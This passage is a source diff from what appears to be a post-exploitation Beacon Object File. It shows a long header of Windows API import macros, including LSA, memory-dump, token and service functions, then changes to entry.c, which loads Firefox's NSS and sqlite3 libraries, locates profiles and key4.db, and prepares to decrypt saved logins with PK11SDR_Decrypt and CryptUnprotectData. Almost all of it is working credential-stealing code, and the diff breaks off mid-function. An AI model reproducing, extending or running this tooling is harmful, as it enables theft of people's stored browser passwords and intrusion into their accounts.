KERNEL32$CreateFileA CreateFileA -#define KERNEL32$GetFileSize GetFileSize -#define KERNEL32$ReadFile ReadFile -#define KERNEL32$CreatePipe CreatePipe -#define KERNEL32$SetHandleInformation SetHandleInformation -#define KERNEL32$ResumeThread ResumeThread -#define KERNEL32$WTSGetActiveConsoleSessionId WTSGetActiveConsoleSessionId -#define KERNEL32$PeekNamedPipe PeekNamedPipe -#define KERNEL32$CreateProcessW CreateProcessW -#define KERNEL32$OpenProcess OpenProcess -#define KERNEL32$GetComputerNameExW GetComputerNameExW -#define KERNEL32$lstrlenW lstrlenW -#define KERNEL32$lstrcatW lstrcatW -#define KERNEL32$lstrcpynW lstrcpynW -#define KERNEL32$GetFullPathNameW GetFullPathNameW -#define KERNEL32$GetFileAttributesW GetFileAttributesW -#define KERNEL32$GetCurrentDirectoryW GetCurrentDirectoryW -#define KERNEL32$FindFirstFileW FindFirstFileW -#define KERNEL32$FindNextFileW FindNextFileW -#define KERNEL32$FindFirstFileA FindFirstFileA -#define KERNEL32$FindNextFileA FindNextFileA -#define KERNEL32$FindClose FindClose -#define KERNEL32$SetLastError SetLastError -#define KERNEL32$HeapAlloc HeapAlloc -#define KERNEL32$HeapReAlloc HeapReAlloc -#define KERNEL32$HeapFree HeapFree -#define MSVCRT$memset memset -#define MSVCRT$_ultoa _ultoa -#define KERNEL32$GlobalAlloc GlobalAlloc -#define KERNEL32$GlobalFree GlobalFree -#define KERNEL32$GetEnvironmentStrings GetEnvironmentStrings -#define KERNEL32$FreeEnvironmentStringsA FreeEnvironmentStringsA -#define KERNEL32$ExpandEnvironmentStringsW ExpandEnvironmentStringsW -#define KERNEL32$CreateToolhelp32Snapshot CreateToolhelp32Snapshot -#define KERNEL32$Process32First Process32First -#define KERNEL32$Process32Next Process32Next -#define KERNEL32$Module32First Module32First -#define KERNEL32$Module32Next Module32Next -#define KERNEL32$LoadLibraryA LoadLibraryA -#define KERNEL32$GetProcAddress GetProcAddress -#define KERNEL32$FreeLibrary FreeLibrary -#define KERNEL32$lstrlenA lstrlenA -#define KERNEL32$GetLocaleInfoEx GetLocaleInfoEx -#define KERNEL32$GetSystemDefaultLocaleName GetSystemDefaultLocaleName -#define KERNEL32$LocaleNameToLCID LocaleNameToLCID -#define KERNEL32$GetDateFormatEx GetDateFormatEx - -#define WTSAPI32$WTSEnumerateSessionsA WTSEnumerateSessionsA -#define WTSAPI32$WTSQuerySessionInformationA WTSQuerySessionInformationA -#define WTSAPI32$WTSFreeMemory WTSFreeMemory -#define WTSAPI32$WTSQueryUserToken WTSQueryUserToken -#define USERENV$GetUserProfileDirectoryW GetUserProfileDirectoryW -#define IPHLPAPI$GetAdaptersInfo GetAdaptersInfo -#define IPHLPAPI$GetAdaptersInfo GetAdaptersInfo -#define IPHLPAPI$GetIpForwardTable GetIpForwardTable -#define IPHLPAPI$GetNetworkParams GetNetworkParams -#define IPHLPAPI$GetUdpTable GetUdpTable -#define IPHLPAPI$GetTcpTable GetTcpTable -#define IPHLPAPI$GetIpNetTable GetIpNetTable -#define MSVCRT$calloc calloc -#define MSVCRT$memcpy memcpy -#define MSVCRT$memcmp memcmp -#define MSVCRT$realloc realloc -#define MSVCRT$free free -#define MSVCRT$memset memset -#define MSVCRT$sprintf sprintf -#define MSVCRT$vsnprintf vsnprintf -#define MSVCRT$_snwprintf _snwprintf -#define MSVCRT$wcsncpy_s wcsncpy_s -#define MSVCRT$wcscpy_s wcscpy_s -#define MSVCRT$wcslen wcslen -#define MSVCRT$wcstombs wcstombs -#define MSVCRT$sprintf sprintf -#define MSVCRT$wcscmp wcscmp -#define MSVCRT$wcstok wcstok -#define MSVCRT$wcstok_s wcstok_s -#define MSVCRT$wcsstr wcsstr -#define MSVCRT$wcscat wcscat -#define MSVCRT$wcsncat wcsncat -#define MSVCRT$wcscpy wcscpy -#define MSVCRT$_wcsicmp _wcsicmp -#define MSVCRT$wcschr wcschr -#define MSVCRT$wcsncat wcsncat -#define MSVCRT$wcsrchr wcsrchr -#define MSVCRT$wcsrchr wcsrchr -#define MSVCRT$wcstoul wcstoul -#define MSVCRT$strcat strcat -#define MSVCRT$strnlen strnlen -#define MSVCRT$strlen strlen -#define MSVCRT$strcmp strcmp -#define MSVCRT$strncmp strncmp -#define MSVCRT$_stricmp _stricmp -#define MSVCRT$strcpy strcpy -#define MSVCRT$strstr strstr -#define MSVCRT$strchr strchr -#define MSVCRT$strtok strtok -#define MSVCRT$strtok_s strtok_s -#define MSVCRT$strtoul strtoul -#define DNSAPI$DnsQuery_A DnsQuery_A -#define DNSAPI$DnsFree DnsFree -#define WSOCK32$inet_addr inet_addr -#define WS2_32$closesocket closesocket -#define WS2_32$connect connect -#define WS2_32$freeaddrinfo freeaddrinfo -#define WS2_32$getaddrinfo getaddrinfo -#define WS2_32$htonl htonl -#define WS2_32$htons htons -#define WS2_32$inet_ntoa inet_ntoa -#define WS2_32$ioctlsocket ioctlsocket -#define WS2_32$select select -#define WS2_32$socket socket -#define WS2_32$send send -#define WS2_32$recv recv -#define WS2_32$__WSAFDIsSet __WSAFDIsSet -#define WS2_32$WSAGetLastError WSAGetLastError -#define NETAPI32$DsGetDcNameA DsGetDcNameA -#define NETAPI32$NetUserGetInfo NetUserGetInfo -#define NETAPI32$NetUserModalsGet NetUserModalsGet -#define NETAPI32$NetServerEnum NetServerEnum -#define NETAPI32$NetUserGetGroups NetUserGetGroups -#define NETAPI32$NetUserGetLocalGroups NetUserGetLocalGroups -#define NETAPI32$NetApiBufferFree NetApiBufferFree -#define NETAPI32$NetGetAnyDCName NetGetAnyDCName -#define NETAPI32$NetUserEnum NetUserEnum -#define NETAPI32$NetGroupGetUsers NetGroupGetUsers -#define NETAPI32$NetQueryDisplayInformation NetQueryDisplayInformation -#define NETAPI32$NetLocalGroupEnum NetLocalGroupEnum -#define NETAPI32$NetLocalGroupGetMembers NetLocalGroupGetMembers -#define NETAPI32$NetUserSetInfo NetUserSetInfo -#define NETAPI32$NetShareEnum NetShareEnum -#define NETAPI32$NetWkstaUserEnum NetWkstaUserEnum -#define NETAPI32$NetWkstaGetInfo NetWkstaGetInfo -#define NETAPI32$NetStatisticsGet NetStatisticsGet -#define NETAPI32$NetApiBufferFree NetApiBufferFree -#define NETAPI32$NetSessionEnum NetSessionEnum -#define NETAPI32$NetGetAadJoinInformation NetGetAadJoinInformation -#define NETAPI32$NetFreeAadJoinInformation NetFreeAadJoinInformation -#define MPR$WNetOpenEnumW WNetOpenEnumW -#define MPR$WNetEnumResourceW WNetEnumResourceW -#define MPR$WNetCloseEnum WNetCloseEnum -#define MPR$WNetGetNetworkInformationW WNetGetNetworkInformationW -#define MPR$WNetGetConnectionW WNetGetConnectionW -#define MPR$WNetGetResourceInformationW WNetGetResourceInformationW -#define MPR$WNetGetUserW WNetGetUserW -#define MPR$WNetAddConnection2W WNetAddConnection2W -#define MPR$WNetCancelConnection2W WNetCancelConnection2W -#define USER32$EnumDesktopWindows EnumDesktopWindows -#define USER32$IsWindowVisible IsWindowVisible -#define USER32$GetWindowTextA GetWindowTextA -#define USER32$GetClassNameA GetClassNameA -#define USER32$CharPrevW CharPrevW -#define USER32$FindWindowExA FindWindowExA -#define USER32$SendMessageA SendMessageA -#define USER32$GetWindowTextA GetWindowTextA -#define USER32$GetClassNameA GetClassNameA -#define USER32$EnumChildWindows EnumChildWindows -#define USER32$GetLastInputInfo GetLastInputInfo -#define SECUR32$GetUserNameExA GetUserNameExA -#define SHLWAPI$StrStrIA StrStrIA -#define SHLWAPI$SHFormatDateTimeA SHFormatDateTimeA -#define ADVAPI32$OpenProcessToken OpenProcessToken -#define ADVAPI32$GetTokenInformation GetTokenInformation -#define ADVAPI32$ConvertSidToStringSidA ConvertSidToStringSidA -#define ADVAPI32$ConvertStringSecurityDescriptorToSecurityDescriptorW ConvertStringSecurityDescriptorToSecurityDescriptorW -#define ADVAPI32$LookupAccountSidA LookupAccountSidA -#define ADVAPI32$LookupAccountSidW LookupAccountSidW -#define ADVAPI32$LookupPrivilegeNameA LookupPrivilegeNameA -#define ADVAPI32$LookupPrivilegeDisplayNameA LookupPrivilegeDisplayNameA -#define ADVAPI32$OpenSCManagerA OpenSCManagerA -#define ADVAPI32$OpenServiceA OpenServiceA -#define ADVAPI32$QueryServiceStatus QueryServiceStatus -#define ADVAPI32$QueryServiceConfigA QueryServiceConfigA -#define ADVAPI32$CloseServiceHandle CloseServiceHandle -#define ADVAPI32$EnumServicesStatusExA EnumServicesStatusExA -#define ADVAPI32$QueryServiceStatusEx QueryServiceStatusEx -#define ADVAPI32$QueryServiceConfig2A QueryServiceConfig2A -#define ADVAPI32$ChangeServiceConfig2A ChangeServiceConfig2A -#define ADVAPI32$ChangeServiceConfigA ChangeServiceConfigA -#define ADVAPI32$CreateServiceA CreateServiceA -#define ADVAPI32$DeleteService DeleteService -#define ADVAPI32$RegOpenKeyExW RegOpenKeyExW -#define ADVAPI32$EnumServicesStatusExW EnumServicesStatusExW -#define ADVAPI32$RegCreateKeyA RegCreateKeyA -#define ADVAPI32$RegSetValueExA RegSetValueExA -#define ADVAPI32$RegOpenKeyExA RegOpenKeyExA -#define ADVAPI32$RegConnectRegistryA RegConnectRegistryA -#define ADVAPI32$RegCloseKey RegCloseKey -#define ADVAPI32$RegOpenKeyA RegOpenKeyA -#define ADVAPI32$RegCreateKeyExA RegCreateKeyExA -#define ADVAPI32$RegDeleteKeyExA RegDeleteKeyExA -#define ADVAPI32$RegDeleteKeyValueA RegDeleteKeyValueA -#define ADVAPI32$RegQueryValueExA RegQueryValueExA -#define ADVAPI32$RegQueryInfoKeyA RegQueryInfoKeyA -#define ADVAPI32$RegEnumValueA RegEnumValueA -#define ADVAPI32$RegEnumKeyExA RegEnumKeyExA -#define ADVAPI32$RegDeleteValueA RegDeleteValueA -#define ADVAPI32$RegQueryValueExW RegQueryValueExW -#define ADVAPI32$RegSaveKeyExA RegSaveKeyExA -#define ADVAPI32$GetFileSecurityW GetFileSecurityW -#define ADVAPI32$GetSecurityDescriptorOwner GetSecurityDescriptorOwner -#define ADVAPI32$GetSecurityDescriptorDacl GetSecurityDescriptorDacl -#define ADVAPI32$GetAclInformation GetAclInformation -#define ADVAPI32$GetAce GetAce -#define ADVAPI32$LookupAccountSidW LookupAccountSidW -#define ADVAPI32$ConvertSidToStringSidW ConvertSidToStringSidW -#define ADVAPI32$MapGenericMask MapGenericMask -#define ADVAPI32$OpenProcessToken OpenProcessToken -#define ADVAPI32$GetTokenInformation GetTokenInformation -#define ADVAPI32$LookupPrivilegeValueA LookupPrivilegeValueA -#define ADVAPI32$AdjustTokenPrivileges AdjustTokenPrivileges -#define ADVAPI32$DuplicateTokenEx DuplicateTokenEx -#define ADVAPI32$CreateProcessAsUserW CreateProcessAsUserW -#define ADVAPI32$RevertToSelf RevertToSelf -#define ADVAPI32$InitializeSecurityDescriptor InitializeSecurityDescriptor -#define ADVAPI32$SetSecurityDescriptorDacl SetSecurityDescriptorDacl -#define ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW ConvertSecurityDescriptorToStringSecurityDescriptorW -#define ADVAPI32$StartServiceA StartServiceA -#define ADVAPI32$ControlService ControlService -#define ADVAPI32$EnumDependentServicesA EnumDependentServicesA -#define ADVAPI32$RegQueryInfoKeyA RegQueryInfoKeyA -#define ADVAPI32$CryptAcquireContextA CryptAcquireContextA -#define ADVAPI32$CryptCreateHash CryptCreateHash -#define ADVAPI32$CryptReleaseContext CryptReleaseContext -#define ADVAPI32$CryptHashData CryptHashData -#define ADVAPI32$CryptGetHashParam CryptGetHashParam -#define ADVAPI32$CryptDestroyHash CryptDestroyHash -#define NTDLL$NtCreateFile NtCreateFile -#define NTDLL$NtClose NtClose -#define NTDLL$NtFsControlFile NtFsControlFile -#define IMAGEHLP$ImageEnumerateCertificates ImageEnumerateCertificates -#define IMAGEHLP$ImageGetCertificateHeader ImageGetCertificateHeader -#define IMAGEHLP$ImageGetCertificateData ImageGetCertificateData -#define CRYPT32$CryptVerifyMessageSignature CryptVerifyMessageSignature -#define CRYPT32$CertGetNameStringW CertGetNameStringW -#define CRYPT32$CertGetCertificateContextProperty CertGetCertificateContextProperty -#define CRYPT32$CertCreateCertificateContext CertCreateCertificateContext -#define CRYPT32$CertFreeCertificateContext CertFreeCertificateContext -#define CRYPT32$CertGetCertificateChain CertGetCertificateChain -#define CRYPT32$CertFreeCertificateChain CertFreeCertificateChain -#define CRYPT32$CryptFindOIDInfo CryptFindOIDInfo -#define WS2_32$InetNtopW InetNtopW -#define WS2_32$inet_pton inet_pton -#define DNSAPI$DnsFree DnsFree -#define DNSAPI$DnsGetCacheDataTable DnsGetCacheDataTable -#define OLE32$CoInitializeEx CoInitializeEx -#define OLE32$CoUninitialize CoUninitialize -#define OLE32$CoInitializeSecurity CoInitializeSecurity -#define OLE32$CoCreateInstance CoCreateInstance -#define OLE32$CLSIDFromString CLSIDFromString -#define OLE32$IIDFromString IIDFromString -#define OLE32$StringFromGUID2 StringFromGUID2 -#define OLE32$CoSetProxyBlanket CoSetProxyBlanket -#define OLE32$CoTaskMemAlloc CoTaskMemAlloc -#define OLE32$CoTaskMemFree CoTaskMemFree -#define OLE32$CoGetObject CoGetObject -#define OLEAUT32$SysAllocString SysAllocString -#define OLEAUT32$SysReAllocString SysReAllocString -#define OLEAUT32$SysFreeString SysFreeString -#define OLEAUT32$SysStringLen SysStringLen -#define OLEAUT32$VariantInit VariantInit -#define OLEAUT32$VariantClear VariantClear -#define OLEAUT32$SysAddRefString SysAddRefString -#define OLEAUT32$VariantChangeType VariantChangeType -#define OLEAUT32$VarFormatDateTime VarFormatDateTime -#define OLEAUT32$SafeArrayDestroy SafeArrayDestroy -#define OLEAUT32$SafeArrayLock SafeArrayLock -#define OLEAUT32$SafeArrayGetLBound SafeArrayGetLBound -#define OLEAUT32$SafeArrayGetUBound SafeArrayGetUBound -#define OLEAUT32$SafeArrayGetElement SafeArrayGetElement -#define OLEAUT32$SafeArrayGetElemsize SafeArrayGetElemsize -#define OLEAUT32$SafeArrayAccessData SafeArrayAccessData -#define OLEAUT32$SafeArrayUnaccessData SafeArrayUnaccessData - - - - -/* -#define CERTCLI$CAEnumFirstCA CAEnumFirstCA -#define CERTCLI$CAEnumNextCA CAEnumNextCA -#define CERTCLI$CACloseCA CACloseCA -#define CERTCLI$CACountCAs CACountCAs -#define CERTCLI$CAGetDN CAGetDN -#define CERTCLI$CAGetCAProperty CAGetCAProperty -#define CERTCLI$CAFreeCAProperty CAFreeCAProperty -#define CERTCLI$CAGetCAFlags CAGetCAFlags -#define CERTCLI$CAGetCACertificate CAGetCACertificate -#define CERTCLI$CAGetCAExpiration CAGetCAExpiration -#define CERTCLI$CAGetCASecurity CAGetCASecurity -#define CERTCLI$CAGetAccessRights CAGetAccessRights -#define CERTCLI$CAEnumCertTypesForCA CAEnumCertTypesForCA -#define CERTCLI$CAEnumCertTypes CAEnumCertTypes -#define CERTCLI$CAEnumNextCertType CAEnumNextCertType -#define CERTCLI$CACountCertTypes CACountCertTypes -#define CERTCLI$CACloseCertType CACloseCertType -#define CERTCLI$CAGetCertTypeProperty CAGetCertTypeProperty -#define CERTCLI$CAGetCertTypePropertyEx CAGetCertTypePropertyEx -#define CERTCLI$CAFreeCertTypeProperty CAFreeCertTypeProperty -#define CERTCLI$CAGetCertTypeExtensionsEx CAGetCertTypeExtensionsEx -#define CERTCLI$CAFreeCertTypeExtensions CAFreeCertTypeExtensions -#define CERTCLI$CAGetCertTypeFlagsEx CAGetCertTypeFlagsEx -#define CERTCLI$CAGetCertTypeExpiration CAGetCertTypeExpiration -#define CERTCLI$CACertTypeGetSecurity CACertTypeGetSecurity -#define CERTCLI$CAGetCertTypeAccessRights CAGetCertTypeAccessRights -#define CERTCLI$caTranslateFileTimePeriodToPeriodUnits caTranslateFileTimePeriodToPeriodUnits -*/ - - - -#define DBGHELP$MiniDumpWriteDump MiniDumpWriteDump - -#define SECUR32$LsaGetLogonSessionData LsaGetLogonSessionData -#define SECUR32$LsaFreeReturnBuffer LsaFreeReturnBuffer - -#define WLDAP32$ldap_init ldap_init -#define WLDAP32$ldap_bind_s ldap_bind_s -#define WLDAP32$ldap_search_s ldap_search_s -#define WLDAP32$ldap_count_entries ldap_count_entries -#define WLDAP32$ldap_get_values_lenA ldap_get_values_lenA -#define WLDAP32$ldap_value_free_len ldap_value_free_len -#define WLDAP32$ldap_set_optionA ldap_set_optionA -#define WLDAP32$ldap_search_init_pageA ldap_search_init_pageA -#define WLDAP32$ldap_get_paged_count ldap_get_paged_count -#define WLDAP32$ldap_get_next_page_s ldap_get_next_page_s -#define WLDAP32$ldap_first_entry ldap_first_entry -#define WLDAP32$ldap_next_entry ldap_next_entry -#define WLDAP32$ldap_first_attribute ldap_first_attribute -#define WLDAP32$ldap_count_values ldap_count_values -#define WLDAP32$ldap_get_values ldap_get_values -#define WLDAP32$ldap_value_free ldap_value_free -#define WLDAP32$ldap_next_attribute ldap_next_attribute -#define WLDAP32$ber_free ber_free -#define WLDAP32$ldap_memfree ldap_memfree -#define WLDAP32$ldap_unbind ldap_unbind -#define WLDAP32$ldap_unbind_s ldap_unbind_s -#define WLDAP32$ldap_msgfree ldap_msgfree -#define RPCRT4$UuidToStringA UuidToStringA -#define RPCRT4$RpcStringFreeA RpcStringFreeA -#define PSAPI$EnumProcessModulesEx EnumProcessModulesEx -#define PSAPI$GetModuleFileNameExA GetModuleFileNameExA -#define VERSION$GetFileVersionInfoSizeA GetFileVersionInfoSizeA -#define VERSION$GetFileVersionInfoA GetFileVersionInfoA -#define VERSION$VerQueryValueA VerQueryValueA - -//WLANAPI -DECLSPEC_IMPORT DWORD WINAPI WLANAPI$WlanOpenHandle(DWORD dwClientVersion, PVOID pReserved, PDWORD pdwNegotiatedVersion, PHANDLE phClientHandle); -DECLSPEC_IMPORT DWORD WINAPI WLANAPI$WlanCloseHandle(HANDLE hClientHandle, PVOID pReserved); -DECLSPEC_IMPORT DWORD WINAPI WLANAPI$WlanEnumInterfaces(HANDLE hClientHandle, PVOID pReserved, PVOID* ppInterfaceList); -DECLSPEC_IMPORT VOID WINAPI WLANAPI$WlanFreeMemory(PVOID pMemory); -DECLSPEC_IMPORT DWORD WINAPI WLANAPI$WlanGetAvailableNetworkList(HANDLE hClientHandle, const GUID* pInterfaceGuid, DWORD dwFlags, PVOID pReserved, PVOID* ppAvailableNetworkList); - -//IPHLPAPI - GetAdaptersAddresses -DECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetAdaptersAddresses(ULONG Family, ULONG Flags, PVOID Reserved, PIP_ADAPTER_ADDRESSES AdapterAddresses, PULONG SizePointer); - -//NTDLL -DECLSPEC_IMPORT NTSTATUS WINAPI NTDLL$NtQuerySystemInformation(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); -DECLSPEC_IMPORT NTSTATUS WINAPI NTDLL$NtQueryObject(HANDLE Handle, ULONG ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtReadVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T BufferSize, PSIZE_T NumberOfBytesRead); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, MEMORY_INFORMATION_CLASS MemoryInformationClass, PVOID MemoryInformation, SIZE_T MemoryInformationLength, PSIZE_T ReturnLength); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtOpenProcessToken(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, PHANDLE TokenHandle); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtAdjustPrivilegesToken(HANDLE TokenHandle, BOOLEAN DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, ULONG BufferLength, PTOKEN_PRIVILEGES PreviousState, PULONG ReturnLength); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$RtlGetVersion(PRTL_OSVERSIONINFOW VersionInformation); - -//CRYPT32 -DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptUnprotectData(DATA_BLOB* pDataIn, LPWSTR* ppszDataDescr, DATA_BLOB* pOptionalEntropy, PVOID pvReserved, CRYPTPROTECT_PROMPTSTRUCT* pPromptStruct, DWORD dwFlags, DATA_BLOB* pDataOut); -DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptStringToBinaryA(LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE* pbBinary, DWORD* pcbBinary, DWORD* pdwSkip, DWORD* pdwFlags); - -//SHELL32 -DECLSPEC_IMPORT HRESULT WINAPI SHELL32$SHGetFolderPathA(HWND hwnd, int csidl, HANDLE hToken, DWORD dwFlags, LPSTR pszPath); - -//SHLWAPI -DECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathAppendA(LPSTR pszPath, LPCSTR pszMore); - -//KERNEL32 additional functions -DECLSPEC_IMPORT WINBOOL WINAPI KERNEL32$DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwOptions); -DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod); -DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFileType(HANDLE hFile); -DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetModuleFileNameA(HMODULE hModule, LPSTR lpFilename, DWORD nSize); -DECLSPEC_IMPORT HGLOBAL WINAPI KERNEL32$GlobalReAlloc(HGLOBAL hMem, SIZE_T dwBytes, UINT uFlags); -DECLSPEC_IMPORT WINBOOL WINAPI KERNEL32$GetComputerNameA(LPSTR lpBuffer, LPDWORD nSize); - -#define BeaconPrintf(x, y, ...) printf(y, ##__VA_ARGS__) -#define internal_printf printf -#endif diff --git a/src/entry.c b/src/entry.c index 3fc7dba..9b647bf 100644 --- a/src/entry.c +++ b/src/entry.c @@ -1,21 +1,13 @@ -#include -#include "bofdefs.h" -#include "beacon.h" -#include "base.c" +/* SPDX-License-Identifier: GPL-3.0-only */ +#include "bof_api.h" #include -IMAGE_DOS_HEADER __ImageBase = {0x5A4D}; - -DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetFileAttributesA(LPCSTR lpFileName); -DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR lpModuleName); +IMAGE_DOS_HEADER __ImageBase = {.e_magic = IMAGE_DOS_SIGNATURE}; DECLSPEC_IMPORT HRESULT WINAPI SHELL32$SHGetFolderPathA(HWND hwnd, int csidl, HANDLE hToken, DWORD dwFlags, LPSTR pszPath); DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptStringToBinaryA(LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE* pbBinary, DWORD* pcbBinary, DWORD* pdwSkip, DWORD* pdwFlags); -DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CryptUnprotectData(DATA_BLOB* pDataIn, LPWSTR* ppszDataDescr, DATA_BLOB* pOptionalEntropy, PVOID pvReserved, CRYPTPROTECT_PROMPTSTRUCT* pPromptStruct, DWORD dwFlags, DATA_BLOB* pDataOut); - -DECLSPEC_IMPORT void* MSVCRT$memchr(const void* s, int c, size_t n); -DECLSPEC_IMPORT int MSVCRT$_strnicmp(const char* s1, const char* s2, size_t n); -DECLSPEC_IMPORT char* MSVCRT$strrchr(const char* s, int c); +DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE process, DWORD desiredAccess, PHANDLE token); +DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE token, TOKEN_INFORMATION_CLASS informationClass, LPVOID information, DWORD informationLength, PDWORD returnLength); typedef struct { int type; @@ -24,16 +16,20 @@ typedef struct { } TSECItem; typedef int (*NSS_Init_t)(const char* configdir); -typedef int (*NSS_InitReadWrite_t)(const char* configdir); typedef int (*NSS_Shutdown_t)(void); typedef int (*PK11SDR_Decrypt_t)(TSECItem* data, TSECItem* result, int cx); +typedef void (*SECITEM_FreeItem_t)(TSECItem* item, int freeItem); static NSS_Init_t p_NSS_Init = NULL; -static NSS_InitReadWrite_t p_NSS_InitReadWrite = NULL; static NSS_Shutdown_t p_NSS_Shutdown = NULL; static PK11SDR_Decrypt_t p_PK11SDR_Decrypt = NULL; +static SECITEM_FreeItem_t p_SECITEM_FreeItem = NULL; static HMODULE hNss3 = NULL; +static HMODULE hNssUtil3 = NULL; static BOOL nssInitialized = FALSE; +#define NSS_DEPENDENCY_COUNT 7 +static HMODULE nssDependencies[NSS_DEPENDENCY_COUNT] = {0}; +static int nssDependencyCount = 0; typedef struct sqlite3 sqlite3; typedef struct sqlite3_stmt sqlite3_stmt; @@ -43,24 +39,16 @@ typedef struct sqlite3_stmt sqlite3_stmt; #define SQLITE_OPEN_READONLY 0x00000001 typedef int (*sqlite3_open_v2_t)(const char *filename, sqlite3 **ppDb, int flags, const char *zVfs); -typedef const char* (*sqlite3_errmsg_t)(sqlite3 *db); typedef int (*sqlite3_prepare_v2_t)(sqlite3 *db, const char *zSql, int nByte, sqlite3_stmt **ppStmt, const char **pzTail); typedef int (*sqlite3_step_t)(sqlite3_stmt *pStmt); typedef const unsigned char* (*sqlite3_column_text_t)(sqlite3_stmt *pStmt, int iCol); -typedef long long (*sqlite3_column_int64_t)(sqlite3_stmt *pStmt, int iCol); -typedef const void* (*sqlite3_column_blob_t)(sqlite3_stmt *pStmt, int iCol); -typedef int (*sqlite3_column_bytes_t)(sqlite3_stmt *pStmt, int iCol); typedef int (*sqlite3_finalize_t)(sqlite3_stmt *pStmt); typedef int (*sqlite3_close_t)(sqlite3 *db); static sqlite3_open_v2_t p_sqlite3_open_v2 = NULL; -static sqlite3_errmsg_t p_sqlite3_errmsg = NULL; static sqlite3_prepare_v2_t p_sqlite3_prepare_v2 = NULL; static sqlite3_step_t p_sqlite3_step = NULL; static sqlite3_column_text_t p_sqlite3_column_text = NULL; -static sqlite3_column_int64_t p_sqlite3_column_int64 = NULL; -static sqlite3_column_blob_t p_sqlite3_column_blob = NULL; -static sqlite3_column_bytes_t p_sqlite3_column_bytes = NULL; static sqlite3_finalize_t p_sqlite3_finalize = NULL; static sqlite3_close_t p_sqlite3_close = NULL; static HMODULE hSqlite3 = NULL; @@ -76,12 +64,11 @@ static HMODULE hSqlite3 = NULL; #define MAX_PATH_LEN 260 #define FIREFOX_BASE_PATH "Mozilla\\Firefox\\Profiles" #define MAX_PROFILES 10 +#define MAX_LOGINS_JSON_BYTES (32U * 1024U * 1024U) static char profilePaths[MAX_PROFILES][MAX_PATH_LEN]; static int profileCount = 0; -#define SafeAppend internal_printf - #ifndef CRYPT_STRING_BASE64 #define CRYPT_STRING_BASE64 0x00000001 #endif @@ -91,21 +78,65 @@ static int profileCount = 0; #define PROFILE_KEY4_DB 2 static BYTE* Base64Decode(const char* input, DWORD inputLen, DWORD* outputLen); -static BOOL DecryptWithNSS(const char* base64Encrypted, char** decrypted); +static BOOL DecryptWithNSS(const char* base64Encrypted, DWORD encryptedLen, char** decrypted); + +static BOOL BuildPath(char* destination, size_t capacity, const char* base, const char* component) { + size_t baseLength; + size_t componentLength; + BOOL needsSeparator; + + if (!destination || capacity == 0 || !base || !component) { + return FALSE; + } + + baseLength = MSVCRT$strlen(base); + componentLength = MSVCRT$strlen(component); + needsSeparator = (baseLength > 0 && base[baseLength - 1] != '\\' && base[baseLength - 1] != '/'); + if (baseLength + (needsSeparator ? 1 : 0) + componentLength + 1 > capacity) { + destination[0] = '\0'; + return FALSE; + } + + MSVCRT$memcpy(destination, base, baseLength); + if (needsSeparator) { + destination[baseLength++] = '\\'; + } + MSVCRT$memcpy(destination + baseLength, component, componentLength); + destination[baseLength + componentLength] = '\0'; + return TRUE; +} + +static BOOL ProfileHasFile(const char* profilePath, const char* fileName) { + char path[MAX_PATH] = {0}; + return BuildPath(path, sizeof(path), profilePath, fileName) && + KERNEL32$GetFileAttributesA(path) != INVALID_FILE_ATTRIBUTES; +} + +static BOOL IsProcessElevated(void) { + HANDLE token = NULL; + TOKEN_ELEVATION elevation = {0}; + DWORD returned = 0; + BOOL elevated = FALSE; + + if (ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &token)) { + if (ADVAPI32$GetTokenInformation(token, TokenElevation, &elevation, sizeof(elevation), &returned)) { + elevated = elevation.TokenIsElevated != 0; + } + KERNEL32$CloseHandle(token); + } + return elevated; +} static int DetectKeyDatabase(const char* profilePath) { char pathBuf[MAX_PATH] = {0}; - MSVCRT$strcpy(pathBuf, profilePath); - MSVCRT$strcat(pathBuf, "\\key4.db"); - if (KERNEL32$GetFileAttributesA(pathBuf) != INVALID_FILE_ATTRIBUTES) { + if (BuildPath(pathBuf, sizeof(pathBuf), profilePath, "key4.db") && + KERNEL32$GetFileAttributesA(pathBuf) != INVALID_FILE_ATTRIBUTES) { return PROFILE_KEY4_DB; } - 